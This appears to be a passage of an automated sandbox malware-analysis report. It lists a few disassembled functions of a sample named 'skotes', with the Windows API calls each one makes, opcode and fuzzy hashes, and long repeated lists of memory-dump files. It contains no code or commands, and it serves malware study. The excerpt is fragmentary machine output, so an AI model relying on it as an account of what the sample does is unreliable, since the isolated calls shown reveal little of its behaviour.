Part of subcall function 00141775: CreateFileW.KERNEL32(00000000,00000000,?,00141B65,?,?,00000000,?,00141B65,00000000,0000000C), ref: 00141792

__dosmaperr.LIBCMT ref: 00141BD7
GetFileType.KERNEL32(00000000), ref: 00141BE3
__dosmaperr.LIBCMT ref: 00141BF6
__dosmaperr.LIBCMT ref: 00141D9C

Strings

H, xrefs: 00141D21

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 060e8bb68ea685a8393e08bc68d58be70fbe5ad61f622f89b9905f5fcaf65e34
Instruction ID: f36e45b2517abe8cbf058c90a6db7dfad2ec0017f8d3878bbdeb0ba824d4beff
Opcode Fuzzy Hash: 060e8bb68ea685a8393e08bc68d58be70fbe5ad61f622f89b9905f5fcaf65e34
Instruction Fuzzy Hash: 7CA12772A04158AFCF1D9F68CC91BAD3BB1AB06324F240159F811EF2E1EB759D92CB51

Function 00107590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,C6B03A30,?,00000000,00149138,000000FF), ref: 001075CC
CreateThread.KERNEL32(00000000,00000000,00107430,00168638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 001076BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 001076C9

Part of subcall function 0011D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0011D17B

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 9b7ccffb8b9e773ecd6e6c3bf61720707d9797c6587f83dc0fa5516c48422c09
Instruction ID: 888fd997f91942895244d7ab2d1abe97f6b74a272b12fbe018089defc2dd7b19
Opcode Fuzzy Hash: 9b7ccffb8b9e773ecd6e6c3bf61720707d9797c6587f83dc0fa5516c48422c09
Instruction Fuzzy Hash: 8A51F4B0601248EBEB18DF28DC89B9D3BA1EB45304F508629F845977E1CBB6E4C0CB91

Function 00136FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00136EE6), ref: 00136FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00137030
__dosmaperr.LIBCMT ref: 001370C5

Part of subcall function 0013732A: __dosmaperr.LIBCMT ref: 0013735F

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 4f150b4fc4ce76e332f9422fa10e496695d022924910ffe3825e32099996b7d0
Instruction ID: d97330fe95f9771b0dc6f555140a0f3ad1300850a6ecaabdbc90bc1c4788c1dc
Opcode Fuzzy Hash: 4f150b4fc4ce76e332f9422fa10e496695d022924910ffe3825e32099996b7d0
Instruction Fuzzy Hash: 86415EB2904204AFDB38DFB5DC419ABBBF9EF89300F104929F856E3691E7309940DB61

Function 00109BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00109BA8
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 96f1b02a405d2444b6cd4c94a60d4822b2b6cb81d3441915d71b38dcb9d2cb0a
Instruction ID: b42e5fb729a47e76da83d3a6bc3666565800e6343d482e9d2dfef2316557ee0a
Opcode Fuzzy Hash: 96f1b02a405d2444b6cd4c94a60d4822b2b6cb81d3441915d71b38dcb9d2cb0a
Instruction Fuzzy Hash: 85314A31B042008BFB18DB7CDDA9B6DB7A2EF92324F248618E054EB2D7D7F559808752

Function 00109CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00109CDD
Sleep.KERNEL32(00000064,?), ref: 0010A963
CreateMutexA.KERNEL32(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

